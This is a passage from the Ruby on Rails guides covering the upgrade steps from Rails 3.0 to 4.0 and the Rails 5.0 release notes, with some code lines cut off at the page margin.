the second table name. Any existing has_and_belongs_to_many
relationship between models with a common prefix must be specified

with the join_table option. For example:

CatalogCategory < ActiveRecord::Base

has_and_belongs_to_many :catalog_products, join_table: 'catalo
end

CatalogProduct < ActiveRecord::Base

has_and_belongs_to_many :catalog_categories, join_table: 'cata
end

Note that the prefix takes scopes into account as well, so relations
between Catalog::Category and Catalog::Product or
Catalog::Category and CatalogProduct need to be updated
similarly.
5.5 Active Resource
Rails 4.0 extracted Active Resource to its own gem. If you still need the
feature you can add the Active Resource gem in your Gemfile.
5.6 Active Model
Rails 4.0 has changed how errors attach with the
ActiveModel::Validations::ConfirmationValidator. Now when
confirmation validations fail, the error will be attached to :#
{attribute}_confirmation instead of attribute.

Rails 4.0 has changed

ActiveModel::Serializers::JSON.include_root_in_json default
value to false. Now, Active Model Serializers and Active Record

objects have the same default behavior. This means that you can
comment or remove the following option in the
config/initializers/wrap_parameters.rb file:
# Disable root element in JSON by default.
# ActiveSupport.on_load(:active_record) do

# self.include_root_in_json = false
# end

5.7 Action Pack

Rails 4.0 introduces ActiveSupport::KeyGenerator and uses this as
a base from which to generate and verify signed cookies (among
other things). Existing signed cookies generated with Rails 3.x will be
transparently upgraded if you leave your existing secret_token in
place and add the new secret_key_base.

# config/initializers/secret_token.rb
Myapp::Application.config.secret_token = 'existing secret toke
Myapp::Application.config.secret_key_base = 'new secret key ba

Please note that you should wait to set secret_key_base until you have
100% of your userbase on Rails 4.x and are reasonably sure you will not
need to rollback to Rails 3.x. This is because cookies signed based on the
new secret_key_base in Rails 4.x are not backwards compatible with
Rails 3.x. You are free to leave your existing secret_token in place, not
set the new secret_key_base, and ignore the deprecation warnings until
you are reasonably sure that your upgrade is otherwise complete.
If you are relying on the ability for external applications or JavaScript to
be able to read your Rails app's signed session cookies (or signed cookies
in general) you should not set secret_key_base until you have decoupled
these concerns.
Rails 4.0 encrypts the contents of cookie-based sessions if
secret_key_base has been set. Rails 3.x signed, but did not encrypt,
the contents of cookie-based session. Signed cookies are "secure" in
that they are verified to have been generated by your app and are
tamper-proof. However, the contents can be viewed by end users, and
encrypting the contents eliminates this caveat/concern without a

significant performance penalty.

Please read Pull Request #9978 for details on the move to encrypted
session cookies.
Rails 4.0 removed the ActionController::Base.asset_path option.
Use the assets pipeline feature.
Rails 4.0 has deprecated
ActionController::Base.page_cache_extension option. Use
ActionController::Base.default_static_extension instead.
Rails 4.0 has removed Action and Page caching from Action Pack.
You will need to add the actionpack-action_caching gem in order
to use caches_action and the actionpack-page_caching to use
caches_pages in your controllers.
Rails 4.0 has removed the XML parameters parser. You will need to
add the actionpack-xml_parser gem if you require this feature.
Rails 4.0 changes the default layout lookup set using symbols or
procs that return nil. To get the "no layout" behavior, return false
instead of nil.
Rails 4.0 changes the default memcached client from memcacheclient to dalli. To upgrade, simply add gem 'dalli' to your
Gemfile.
Rails 4.0 deprecates the dom_id and dom_class methods in controllers
(they are fine in views). You will need to include the
ActionView::RecordIdentifier module in controllers requiring this
feature.
Rails 4.0 deprecates the :confirm option for the link_to helper. You
should instead rely on a data attribute (e.g. data: { confirm: 'Are
you sure?' }). This deprecation also concerns the helpers based on
this one (such as link_to_if or link_to_unless).
Rails 4.0 changed how assert_generates, assert_recognizes, and
assert_routing work. Now all these assertions raise Assertion
instead of ActionController::RoutingError.
Rails 4.0 raises an ArgumentError if clashing named routes are

defined. This can be triggered by explicitly defined named routes or

by the resources method. Here are two examples that clash with
routes named example_path:
get 'one' => 'test#example', as: :example
get 'two' => 'test#example', as: :example
resources :examples
get 'clashing/:id' => 'test#example', as: :example

In the first case, you can simply avoid using the same name for multiple
routes. In the second, you can use the only or except options provided by
the resources method to restrict the routes created as detailed in the
Routing Guide.
Rails 4.0 also changed the way unicode character routes are drawn.
Now you can draw unicode character routes directly. If you already
draw such routes, you must change them, for example:

get Rack::Utils.escape(''), controller: 'welcome', acti

becomes
get '', controller: 'welcome', action: 'index'

Rails 4.0 requires that routes using match must specify the request
method. For example:
# Rails 3.x
match '/' => 'root#index'
# becomes
match '/' => 'root#index', via: :get
# or

get '/' => 'root#index'

Rails 4.0 has removed ActionDispatch::BestStandardsSupport

middleware, <!DOCTYPE html> already triggers standards mode per
http://msdn.microsoft.com/en-us/library/jj676915(v=vs.85).aspx and
ChromeFrame header has been moved to
config.action_dispatch.default_headers.
Remember you must also remove any references to the middleware from
your application code, for example:

# Raise exception
config.middleware.insert_before(Rack::Lock, ActionDispatch::Best

Also check your environment settings for

config.action_dispatch.best_standards_support and remove it if

present.
In Rails 4.0, precompiling assets no longer automatically copies nonJS/CSS assets from vendor/assets and lib/assets. Rails
application and engine developers should put these assets in
app/assets or configure config.assets.precompile.
In Rails 4.0, ActionController::UnknownFormat is raised when the
action doesn't handle the request format. By default, the exception is
handled by responding with 406 Not Acceptable, but you can
override that now. In Rails 3, 406 Not Acceptable was always
returned. No overrides.
In Rails 4.0, a generic
ActionDispatch::ParamsParser::ParseError exception is raised
when ParamsParser fails to parse request params. You will want to
rescue this exception instead of the low-level
MultiJson::DecodeError, for example.
In Rails 4.0, SCRIPT_NAME is properly nested when engines are

mounted on an app that's served from a URL prefix. You no longer

have to set default_url_options[:script_name] to work around
overwritten URL prefixes.
Rails 4.0 deprecated ActionController::Integration in favor of
ActionDispatch::Integration.
Rails 4.0 deprecated ActionController::IntegrationTest in favor
of ActionDispatch::IntegrationTest.
Rails 4.0 deprecated ActionController::PerformanceTest in favor
of ActionDispatch::PerformanceTest.
Rails 4.0 deprecated ActionController::AbstractRequest in favor
of ActionDispatch::Request.
Rails 4.0 deprecated ActionController::Request in favor of
ActionDispatch::Request.
Rails 4.0 deprecated ActionController::AbstractResponse in favor
of ActionDispatch::Response.
Rails 4.0 deprecated ActionController::Response in favor of
ActionDispatch::Response.
Rails 4.0 deprecated ActionController::Routing in favor of
ActionDispatch::Routing.
5.8 Active Support
Rails 4.0 removes the j alias for ERB::Util#json_escape since j is
already used for
ActionView::Helpers::JavaScriptHelper#escape_javascript.
5.9 Helpers Loading Order
The order in which helpers from more than one directory are loaded has
changed in Rails 4.0. Previously, they were gathered and then sorted
alphabetically. After upgrading to Rails 4.0, helpers will preserve the order
of loaded directories and will be sorted alphabetically only within each
directory. Unless you explicitly use the helpers_path parameter, this

change will only impact the way of loading helpers from engines. If you
rely on the ordering, you should check if correct methods are available
after upgrade. If you would like to change the order in which engines are
loaded, you can use config.railties_order= method.
5.10 Active Record Observer and Action Controller Sweeper
ActiveRecord::Observer and ActionController::Caching::Sweeper
have been extracted to the rails-observers gem. You will need to add
the rails-observers gem if you require these features.

5.11 sprockets-rails
assets:precompile:primary and assets:precompile:all have
been removed. Use assets:precompile instead.
The config.assets.compress option should be changed to
config.assets.js_compressor like so for instance:
config.assets.js_compressor = :uglifier

5.12 sass-rails
asset-url with two arguments is deprecated. For example: asseturl("rails.png", image) becomes asset-url("rails.png").

6 Upgrading from Rails 3.1 to Rails 3.2

If your application is currently on any version of Rails older than 3.1.x,
you should upgrade to Rails 3.1 before attempting an update to Rails 3.2.
The following changes are meant for upgrading your application to the
latest 3.2.x version of Rails.
6.1 Gemfile
Make the following changes to your Gemfile.
gem 'rails', '3.2.21'
group :assets do
gem 'sass-rails', '~> 3.2.6'
gem 'coffee-rails', '~> 3.2.2'
gem 'uglifier', '>= 1.0.3'
end

6.2 config/environments/development.rb
There are a couple of new configuration settings that you should add to
your development environment:

# Raise exception on mass assignment protection for Active Recor

config.active_record.mass_assignment_sanitizer = :strict
# Log the query plan for queries taking more than this (works
# with SQLite, MySQL, and PostgreSQL)
config.active_record.auto_explain_threshold_in_seconds = 0.5

6.3 config/environments/test.rb
The mass_assignment_sanitizer configuration setting should also be

added to config/environments/test.rb:

# Raise exception on mass assignment protection for Active Recor

config.active_record.mass_assignment_sanitizer = :strict

6.4 vendor/plugins
Rails 3.2 deprecates vendor/plugins and Rails 4.0 will remove them
completely. While it's not strictly necessary as part of a Rails 3.2 upgrade,
you can start replacing any plugins by extracting them to gems and adding
them to your Gemfile. If you choose not to make them gems, you can
move them into, say, lib/my_plugin/* and add an appropriate initializer
in config/initializers/my_plugin.rb.
6.5 Active Record
Option :dependent => :restrict has been removed from belongs_to. If
you want to prevent deleting the object if there are any associated objects,
you can set :dependent => :destroy and return false after checking for
existence of association from any of the associated object's destroy
callbacks.

7 Upgrading from Rails 3.0 to Rails 3.1

If your application is currently on any version of Rails older than 3.0.x,
you should upgrade to Rails 3.0 before attempting an update to Rails 3.1.
The following changes are meant for upgrading your application to Rails
3.1.12, the last 3.1.x version of Rails.
7.1 Gemfile
Make the following changes to your Gemfile.
gem 'rails', '3.1.12'
gem 'mysql2'
# Needed for the new asset pipeline
group :assets do
gem 'sass-rails', '~> 3.1.7'
gem 'coffee-rails', '~> 3.1.1'
gem 'uglifier', '>= 1.0.3'
end
# jQuery is the default JavaScript library in Rails 3.1
gem 'jquery-rails'

7.2 config/application.rb
The asset pipeline requires the following additions:
config.assets.enabled = true
config.assets.version = '1.0'

If your application is using an "/assets" route for a resource you may want
change the prefix used for assets to avoid conflicts:
# Defaults to '/assets'

config.assets.prefix = '/asset-files'

7.3 config/environments/development.rb
Remove the RJS setting config.action_view.debug_rjs = true.
Add these settings if you enable the asset pipeline:
# Do not compress assets
config.assets.compress = false
# Expands the lines which load the assets
config.assets.debug = true

7.4 config/environments/production.rb
Again, most of the changes below are for the asset pipeline. You can read
more about these in the Asset Pipeline guide.
# Compress JavaScripts and CSS
config.assets.compress = true

# Don't fallback to assets pipeline if a precompiled asset is mi

config.assets.compile = false
# Generate digests for assets URLs
config.assets.digest = true
# Defaults to Rails.root.join("public/assets")
# config.assets.manifest = YOUR_PATH

# Precompile additional assets (application.js, application.css,

# config.assets.precompile += %w( search.js )

# Force all access to the app over SSL, use Strict-Transport-Sec

# config.force_ssl = true

7.5 config/environments/test.rb
You can help test performance with these additions to your test
environment:

# Configure static asset server for tests with Cache-Control for

config.public_file_server.enabled = true
config.public_file_server.headers = {
'Cache-Control' => 'public, max-age=3600'
}

7.6 config/initializers/wrap_parameters.rb
Add this file with the following contents, if you wish to wrap parameters
into a nested hash. This is on by default in new applications.

# Be sure to restart your server when you modify this file.

# This file contains settings for ActionController::ParamsWrappe
# is enabled by default.

# Enable parameter wrapping for JSON. You can disable this by se

ActiveSupport.on_load(:action_controller) do
wrap_parameters format: [:json]
end
# Disable root element in JSON by default.
ActiveSupport.on_load(:active_record) do
self.include_root_in_json = false
end

7.7 config/initializers/session_store.rb
You need to change your session key to something new, or remove all
sessions:
# in config/initializers/session_store.rb

AppName::Application.config.session_store :cookie_store, key: 'S

or
$ bin/rake db:sessions:clear

7.8 Remove :cache and :concat options in asset helpers references in

views
With the Asset Pipeline the :cache and :concat options aren't used
anymore, delete these options from your views.

Ruby on Rails 5.0 Release Notes

Ruby...

1 Upgrading to Rails 5.0

If you're upgrading an existing application, it's a great idea to have good
test coverage before going in. You should also first upgrade to Rails 4.2 in
case you haven't and make sure your application still runs as expected
before attempting an update to Rails 5.0. A list of things to watch out for
when upgrading is available in the Upgrading Ruby on Rails guide.

2 Major Features
2.1 Action Cable
Pull Request
Action Cable is a new framework in Rails 5. It seamlessly integrates
WebSockets with the rest of your Rails application.
Action Cable allows for real-time features to be written in Ruby in the
same style and form as the rest of your Rails application, while still being
performant and scalable. It's a full-stack offering that provides both a
client-side JavaScript framework and a server-side Ruby framework. You
have access to your full domain model written with Active Record or your
ORM of choice.
See the Action Cable Overview guide for more information.
2.2 API Applications
Rails can now be used to create slimmed down API only applications. This
is useful for creating and serving APIs similar to Twitter or GitHub API,
that can be used to serve public facing, as well as, for custom applications.
You can generate a new api Rails app using:
$ rails new my_api --api

This will do three main things:

Make ApplicationController inherit from ActionController::API

instead of ActionController::Base. As with middleware, this will
leave out any Action Controller modules that provide functionalities
primarily used by browser applications.
Configure the generators to skip generating views, helpers and assets
when you generate a new resource.
The application provides a base for APIs, that can then be configured to
pull in functionality as suitable for the application's needs.
See the Using Rails for API-only Applications guide for more information.
2.3 Active Record attributes API
Defines an attribute with a type on a model. It will override the type of
existing attributes if needed. This allows control over how values are
converted to and from SQL when assigned to a model. It also changes the
behavior of values passed to ActiveRecord::Base.where, which lets use
our domain objects across much of Active Record, without having to rely
on implementation details or monkey patching.
Some things that you can achieve with this: * The type detected by Active
Record can be overridden. * A default can also be provided. * Attributes
do not need to be backed by a database column.
# db/schema.rb
create_table :store_listings, force: true do |t|
t.decimal :price_in_cents
t.string :my_string, default: "original default"
end
# app/models/store_listing.rb
class StoreListing < ActiveRecord::Base
end
store_listing = StoreListing.new(price_in_cents: '10.1')

# before
store_listing.price_in_cents # => BigDecimal.new(10.1)
StoreListing.new.my_string # => "original default"

class StoreListing < ActiveRecord::Base

attribute :price_in_cents, :integer # custom type
attribute :my_string, :string, default: "new default" # defaul
attribute :my_default_proc, :datetime, default: -> { Time.now
attribute :field_without_db_column, :integer, array: true
end

# after
store_listing.price_in_cents # => 10
StoreListing.new.my_string # => "new default"
StoreListing.new.my_default_proc # => 2015-05-30 11:04:48 -0600
model = StoreListing.new(field_without_db_column: ["1", "2", "3"
model.attributes #=> {field_without_db_column: [1, 2, 3]}

Creating Custom Types:

You can define your own custom types, as long as they respond to the
methods defined on the value type. The method +deserialize+ or +cast+
will be called on your type object, with raw input from the database or
from your controllers. This is useful, for example, when doing custom
conversion, like Money data.
Querying:
When ActiveRecord::Base.where is called, it will use the type defined by
the model class to convert the value to SQL, calling +serialize+ on your
type object.
This gives the objects ability to specify, how to convert values when
performing SQL queries.
Dirty Tracking:

The type of an attribute is given the opportunity to change how dirty

tracking is performed.
See its documentation for a detailed write up.
2.4 Test Runner
A new test runner has been introduced to enhance the capabilities of
running tests from Rails. To use this test runner simply type bin/rails
test.
Test Runner is inspired from RSpec, minitest-reporters, maxitest and
others. It includes some of these notable advancements:
Run a single test using line number of test.
Run multiple tests pinpointing to line number of tests.
Improved failure messages, which also add ease of re-running failed
tests.
Fail fast using -f option, to stop tests immediately on occurrence of
failure, instead of waiting for the suite to complete.
Defer test output until the end of a full test run using the -d option.
Complete exception backtrace output using -b option.
Integration with Minitest to allow options like -s for test seed data,
-n for running specific test by name, -v for better verbose output and
so forth.
Colored test output

3 Railties
Please refer to the Changelog for detailed changes.
3.1 Removals
Removed debugger support, use byebug instead. debugger is not
supported by Ruby 2.2. (commit)
Removed deprecated test:all and test:all:db tasks. (commit)
Removed deprecated Rails::Rack::LogTailer. (commit)
Removed deprecated RAILS_CACHE constant. (commit)
Removed deprecated serve_static_assets configuration. (commit)
Removed the documentation tasks doc:app, doc:rails, and
doc:guides. (commit)
Removed Rack::ContentLength middleware from the default stack.
(Commit)
3.2 Deprecations
Deprecated config.static_cache_control in favor of
config.public_file_server.headers. (Pull Request)
Deprecated config.serve_static_files in favor of
config.public_file_server.enabled. (Pull Request)
Deprecated the tasks in the rails task namespace in favor of the app
namespace. (e.g. rails:update and rails:template tasks is
renamed to app:update and app:template.) (Pull Request)
3.3 Notable changes
Added Rails test runner bin/rails test. (Pull Request)
Newly generated applications and plugins get a README.md in
Markdown. (commit, Pull Request)
Added bin/rails restart task to restart your Rails app by touching

tmp/restart.txt. (Pull Request)

Added bin/rails initializers task to print out all defined

initializers in the order they are invoked by Rails. (Pull Request)

Added bin/rails dev:cache to enable or disable caching in
development mode. (Pull Request)
Added bin/update script to update the development environment
automatically. (Pull Request)
Proxy Rake tasks through bin/rails. (Pull Request, Pull Request)
New applications are generated with the evented file system monitor
enabled on Linux and Mac OS X. The feature can be opted out by
passing --skip-listen to the generator. (commit, commit)
Generate applications with an option to log to STDOUT in production
using the environment variable RAILS_LOG_TO_STDOUT. (Pull Request)
Enable HSTS with IncludeSudomains header for new applications.
(Pull Request)
The application generator writes a new file config/spring.rb, which
tells Spring to watch additional common files. (commit)
Added --skip-action-mailer to skip Action Mailer while
generating new app. (Pull Request)
Removed tmp/sessions directory and the clear rake task associated
with it. (Pull Request)
Changed _form.html.erb generated by scaffold generator to use
local variables. (Pull Request)
Disabled autoloading of classes in production environment. (commit)

4 Action Pack
Please refer to the Changelog for detailed changes.
4.1 Removals
Removed ActionDispatch::Request::Utils.deep_munge. (commit)
Removed ActionController::HideActions. (Pull Request)
Removed respond_to and respond_with placeholder methods, this
functionality has been extracted to the responders gem. (commit)
Removed deprecated assertion files. (commit)
Removed deprecated usage of string keys in URL helpers. (commit)
Removed deprecated only_path option on *_path helpers. (commit)
Removed deprecated NamedRouteCollection#helpers. (commit)
Removed deprecated support to define routes with :to option that
doesn't contain #. (commit)
Removed deprecated ActionDispatch::Response#to_ary. (commit)
Removed deprecated ActionDispatch::Request#deep_munge.
(commit)
Removed deprecated
ActionDispatch::Http::Parameters#symbolized_path_parameters

(commit)
Removed deprecated option use_route in controller tests. (commit)
Removed assigns and assert_template. Both methods have been
extracted into the rails-controller-testing gem. (Pull Request)
4.2 Deprecations
Deprecated all *_filter callbacks in favor of *_action callbacks.
(Pull Request)
Deprecated *_via_redirect integration test methods. Use
follow_redirect! manually after the request call for the same
behavior. (Pull Request)

Deprecated AbstractController#skip_action_callback in favor of

individual skip_callback methods. (Pull Request)
Deprecated :nothing option for render method. (Pull Request)
Deprecated passing first parameter as Hash and default status code for
head method. (Pull Request)
Deprecated using strings or symbols for middleware class names. Use
class names instead. (commit)
Deprecated accessing mime types via constants (eg. Mime::HTML).
Use the subscript operator with a symbol instead (eg. Mime[:html]).
(Pull Request)
Deprecated redirect_to :back in favor of redirect_back, which
accepts a required fallback_location argument, thus eliminating the
possibility of a RedirectBackError. (Pull Request)
ActionDispatch::IntegrationTest and
ActionController::TestCase deprecate positional arguments in
favor of keyword arguments. (Pull Request)
Deprecated :controller and :action path parameters. (Pull
Request)
Deprecated env method on controller instances. (commit)
ActionDispatch::ParamsParser is deprecated and was removed
from the middleware stack. To configure the parameter parsers use
ActionDispatch::Request.parameter_parsers=. (commit, commit)
4.3 Notable changes
Added ActionController::Renderer to render arbitrary templates
outside controller actions. (Pull Request)
Migrating to keyword arguments syntax in
ActionController::TestCase and ActionDispatch::Integration
HTTP request methods. (Pull Request)
Added http_cache_forever to Action Controller, so we can cache a
response that never gets expired. (Pull Request)
Provide friendlier access to request variants. (Pull Request)

For actions with no corresponding templates, render head

:no_content instead of raising an error. (Pull Request)
Added the ability to override default form builder for a controller.
(Pull Request)
Added support for API only apps. ActionController::API is added
as a replacement of ActionController::Base for this kind of
applications. (Pull Request)
Make ActionController::Parameters no longer inherits from
HashWithIndifferentAccess. (Pull Request)
Make it easier to opt in to config.force_ssl and
config.ssl_options by making them less dangerous to try and
easier to disable. (Pull Request)
Added the ability of returning arbitrary headers to
ActionDispatch::Static. (Pull Request)
Changed the protect_from_forgery prepend default to false.
(commit)
ActionController::TestCase will be moved to its own gem in Rails
5.1. Use ActionDispatch::IntegrationTest instead. (commit)
Rails will only generate "weak", instead of strong ETags. (Pull
Request)
Controller actions without an explicit render call and with no
corresponding templates will render head :no_content implicitly
instead of raising an error. (Pull Request 1, 2)
Added an option for per-form CSRF tokens. (Pull Request)
Added request encoding and response parsing to integration tests.
(Pull Request)
Update default rendering policies when the controller action did not
explicitly indicate a response. (Pull Request)
Add ActionController#helpers to get access to the view context at
the controller level. (Pull Request)
Discarded flash messages get removed before storing into session.
(Pull Request)
Added support for passing collection of records to fresh_when and
stale?. (Pull Request)

ActionController::Live became an ActiveSupport::Concern.

That means it can't be just included in other modules without

extending them with ActiveSupport::Concern or
ActionController::Live won't take effect in production. Some
people may be using another module to include some special
Warden/Devise authentication failure handling code as well since the
middleware can't catch a :warden thrown by a spawned thread which
is the case when using ActionController::Live. (More details in
this issue)

5 Action View
Please refer to the Changelog for detailed changes.
5.1 Removals
Removed deprecated
AbstractController::Base::parent_prefixes. (commit)
Removed ActionView::Helpers::RecordTagHelper, this

functionality has been extracted to the record_tag_helper gem. (Pull

Request)
Removed :rescue_format option for translate helper since it's no
longer supported by I18n. (Pull Request)
5.2 Notable Changes
Changed the default template handler from ERB to Raw. (commit)
Collection rendering can cache and fetches multiple partials at once.
(Pull Request, commit)
Added wildcard matching to explicit dependencies. (Pull Request)
Make disable_with the default behavior for submit tags. Disables
the button on submit to prevent double submits. (Pull Request)
Partial template name no longer has to be a valid Ruby identifier.
(commit)
The datetime_tag helper now generates an input tag with the type of
datetime-local. (Pull Request)

6 Action Mailer
Please refer to the Changelog for detailed changes.
6.1 Removals
Removed deprecated *_path helpers in email views. (commit)
Removed deprecated deliver and deliver! methods. (commit)
6.2 Notable changes
Template lookup now respects default locale and I18n fallbacks.
(commit)
Added _mailer suffix to mailers created via generator, following the
same naming convention used in controllers and jobs. (Pull Request)
Added assert_enqueued_emails and assert_no_enqueued_emails.
(Pull Request)
Added config.action_mailer.deliver_later_queue_name
configuration to set the mailer queue name. (Pull Request)
Added support for fragment caching in Action Mailer views. Added
new config option config.action_mailer.perform_caching to
determine whether your templates should perform caching or not.
(Pull Request)

7 Active Record
Please refer to the Changelog for detailed changes.
7.1 Removals
Removed deprecated behavior allowing nested arrays to be passed as
query values. (Pull Request)
Removed deprecated
ActiveRecord::Tasks::DatabaseTasks#load_schema. This method
was replaced by
ActiveRecord::Tasks::DatabaseTasks#load_schema_for.
(commit)
Removed deprecated serialized_attributes. (commit)
Removed deprecated automatic counter caches on has_many
:through. (commit)
Removed deprecated sanitize_sql_hash_for_conditions.
(commit)
Removed deprecated Reflection#source_macro. (commit)
Removed deprecated symbolized_base_class and
symbolized_sti_name. (commit)
Removed deprecated
ActiveRecord::Base.disable_implicit_join_references=.
(commit)
Removed deprecated access to connection specification using a string
accessor. (commit)
Removed deprecated support to preload instance-dependent
associations. (commit)
Removed deprecated support for PostgreSQL ranges with exclusive
lower bounds. (commit)
Removed deprecation when modifying a relation with cached Arel.
This raises an ImmutableRelation error instead. (commit)
Removed ActiveRecord::Serialization::XmlSerializer from

core. This feature has been extracted into the activemodel-serializersxml gem. (Pull Request)
Removed support for the legacy mysql database adapter from core.
Most users should be able to use mysql2. It will be converted to a
separate gem when when we find someone to maintain it. (Pull
Request 1], Pull Request 2)
Removed support for the protected_attributes gem. (commit)
Removed support for PostgreSQL versions below 9.1. (Pull Request)
Removed support for activerecord-deprecated_finders gem.
(commit)
7.2 Deprecations
Deprecated passing a class as a value in a query. Users should pass
strings instead. (Pull Request)
Deprecated returning false as a way to halt Active Record callback
chains. The recommended way is to throw(:abort). (Pull Request)
Deprecated
ActiveRecord::Base.errors_in_transactional_callbacks=.
(commit)
Deprecated Relation#uniq use Relation#distinct instead.
(commit)
Deprecated the PostgreSQL :point type in favor of a new one which
will return Point objects instead of an Array (Pull Request)
Deprecated force association reload by passing a truthy argument to
association method. (Pull Request)
Deprecated the keys for association restrict_dependent_destroy
errors in favor of new key names. (Pull Request)
Synchronize behavior of #tables. (Pull Request)
Deprecated SchemaCache#tables, SchemaCache#table_exists? and
SchemaCache#clear_table_cache! in favor of their new data source
counterparts. (Pull Request)
Deprecated connection.tables on the SQLite3 and MySQL

adapters. (Pull Request)

Deprecated passing arguments to #tables - the #tables method of
some adapters (mysql2, sqlite3) would return both tables and views
while others (postgresql) just return tables. To make their behavior
consistent, #tables will return only tables in the future. (Pull
Request)
Deprecated table_exists? - The #table_exists? method would
check both tables and views. To make their behavior consistent with
#tables, #table_exists? will check only tables in the future. (Pull
Request)
Deprecate sending the offset argument to find_nth. Please use the
offset method on relation instead. (Pull Request)
Deprecated {insert|update|delete}_sql in DatabaseStatements.
Use the {insert|update|delete} public methods instead. (Pull
Request)
Deprecated use_transactional_fixtures in favor of
use_transactional_tests for more clarity. (Pull Request)
Deprecated passing a column to ActiveRecord::Connection#quote.
(commit)
Deprecated passing of start value to find_in_batches and
find_each in favour of begin_at. (Pull Request)
Added an option end to find_in_batches that complements the
start parameter to specify where to stop batch processing. (Pull
Request)
7.3 Notable changes
Added a foreign_key option to references while creating the table.
(commit)
New attributes API. (commit)
Added :_prefix/:_suffix option to enum definition. (Pull Request,
Pull Request)
Added #cache_key to ActiveRecord::Relation. (Pull Request)

Changed the default null value for timestamps to false. (commit)

Added ActiveRecord::SecureToken in order to encapsulate
generation of unique tokens for attributes in a model using
SecureRandom. (Pull Request)
Added :if_exists option for drop_table. (Pull Request)
Added ActiveRecord::Base#accessed_fields, which can be used
to quickly discover which fields were read from a model when you
are looking to only select the data you need from the database.
(commit)
Added the #or method on ActiveRecord::Relation, allowing use of
the OR operator to combine WHERE or HAVING clauses. (commit)
Added :time option added for #touch. (Pull Request)
Added ActiveRecord::Base.suppress to prevent the receiver from
being saved during the given block. (Pull Request)
belongs_to will now trigger a validation error by default if the
association is not present. You can turn this off on a per-association
basis with optional: true. Also deprecate required option in favor
of optional for belongs_to. (Pull Request)
Added config.active_record.dump_schemas to configure the
behavior of db:structure:dump. (Pull Request)
Added
config.active_record.warn_on_records_fetched_greater_than

option. (Pull Request)

Added a native JSON data type support in MySQL. (Pull Request)
Added support for dropping indexes concurrently in PostgreSQL.
(Pull Request)
Added #views and #view_exists? methods on connection adapters.
(Pull Request)
Added ActiveRecord::Base.ignored_columns to make some
columns invisible from Active Record. (Pull Request)
Added connection.data_sources and
connection.data_source_exists?. These methods determine what
relations can be used to back Active Record models (usually tables
and views). (Pull Request)

Allow fixtures files to set the model class in the YAML file itself.
(Pull Request)
Added ability to default to uuid as primary key when generating
database migrations. (Pull Request)
Added ActiveRecord::Relation#left_joins and
ActiveRecord::Relation#left_outer_joins. (Pull Request)
Added after_{create,update,delete}_commit callbacks. (Pull
Request)
Version the API presented to migration classes, so we can change
parameter defaults without breaking existing migrations, or forcing
them to be rewritten through a deprecation cycle. (Pull Request)
ApplicationRecord is a new superclass for all app models, analogous
to app controllers subclassing ApplicationController instead of
ActionController::Base. This gives apps a single spot to configure
app-wide model behavior. (Pull Request)
Added ActiveRecord #second_to_last and #third_to_last
methods. (Pull Request)
Added ability to annotate database objects (tables, columns, indexes)
with comments stored in database metadata for PostgreSQL &
MySQL. (Pull Request)
Added prepared statements support to mysql2 adapter, for mysql2
0.4.4+, Previously this was only supported on the deprecated mysql
legacy adapter. To enable, set prepared_statements: true in
config/database.yml. (Pull Request)
Added ability to call ActionRecord::Relation#update on relation
objects which will run validations on callbacks on all objects in the
relation. (Pull Request)
Added :touch option to the save method so that records can be saved
without updating timestamps. (Pull Request)
Added expression indexes and operator classes support for
PostgreSQL. (commit)
Added :index_errors option to add indexes to errors of nested
attributes. (Pull Request)
Added support for bidirectional destroy dependencies. (Pull Request)

Added support for after_commit callbacks in transactional tests.

(Pull Request)
Added foreign_key_exists? method to see if a foreign key exists on
a table or not. (Pull Request)
Added :time option to touch method to touch records with different
time than the current time. (Pull Request)

8 Active Model
Please refer to the Changelog for detailed changes.
8.1 Removals
Removed deprecated ActiveModel::Dirty#reset_#{attribute}
and ActiveModel::Dirty#reset_changes. (Pull Request)
Removed XML serialization. This feature has been extracted into the
activemodel-serializers-xml gem. (Pull Request)
Removed ActionController::ModelNaming module. (Pull Request)
8.2 Deprecations
Deprecated returning false as a way to halt Active Model and
ActiveModel::Validations callback chains. The recommended way
is to throw(:abort). (Pull Request)
Deprecated ActiveModel::Errors#get, ActiveModel::Errors#set
and ActiveModel::Errors#[]= methods that have inconsistent
behavior. (Pull Request)
Deprecated the :tokenizer option for validates_length_of, in
favor of plain Ruby. (Pull Request)
Deprecated ActiveModel::Errors#add_on_empty and
ActiveModel::Errors#add_on_blank with no replacement. (Pull
Request)
8.3 Notable changes
Added ActiveModel::Errors#details to determine what validator
has failed. (Pull Request)
Extracted ActiveRecord::AttributeAssignment to
ActiveModel::AttributeAssignment allowing to use it for any
object as an includable module. (Pull Request)

Added ActiveModel::Dirty#[attr_name]_previously_changed?
and ActiveModel::Dirty#[attr_name]_previous_change to
improve access to recorded changes after the model has been saved.
(Pull Request)
Validate multiple contexts on valid? and invalid? at once. (Pull
Request)
Change validates_acceptance_of to accept true as default value
apart from 1. (Pull Request)

9 Active Job
Please refer to the Changelog for detailed changes.
9.1 Notable changes
ActiveJob::Base.deserialize delegates to the job class. This

allows jobs to attach arbitrary metadata when they get serialized and
read it back when they get performed. (Pull Request)
Add ability to configure the queue adapter on a per job basis without
affecting each other. (Pull Request)
A generated job now inherits from app/jobs/application_job.rb
by default. (Pull Request)
Allow DelayedJob, Sidekiq, qu, que, and queue_classic to report
the job id back to ActiveJob::Base as provider_job_id. (Pull
Request, Pull Request, commit)
Implement a simple AsyncJob processor and associated
AsyncAdapter that queue jobs to a concurrent-ruby thread pool.
(Pull Request)
Change the default adapter from inline to async. It's a better default as
tests will then not mistakenly come to rely on behavior happening
synchronously. (commit)

10 Active Support
Please refer to the Changelog for detailed changes.
10.1 Removals
Removed deprecated
ActiveSupport::JSON::Encoding::CircularReferenceError.

(commit)
Removed deprecated methods
ActiveSupport::JSON::Encoding.encode_big_decimal_as_string=

and
ActiveSupport::JSON::Encoding.encode_big_decimal_as_string.

(commit)
Removed deprecated ActiveSupport::SafeBuffer#prepend.
(commit)
Removed deprecated methods from Kernel. silence_stderr,
silence_stream, capture and quietly. (commit)
Removed deprecated
active_support/core_ext/big_decimal/yaml_conversions file.

(commit)
Removed deprecated methods
ActiveSupport::Cache::Store.instrument and
ActiveSupport::Cache::Store.instrument=. (commit)
Removed deprecated Class#superclass_delegating_accessor. Use
Class#class_attribute instead. (Pull Request)
Removed deprecated ThreadSafe::Cache. Use Concurrent::Map

instead. (Pull Request)

Removed Object#itself as it is implemented in Ruby 2.2. (Pull
Request)
10.2 Deprecations

Deprecated MissingSourceFile in favor of LoadError. (commit)

Deprecated alias_method_chain in favour of Module#prepend
introduced in Ruby 2.0. (Pull Request)
Deprecated ActiveSupport::Concurrency::Latch in favor of
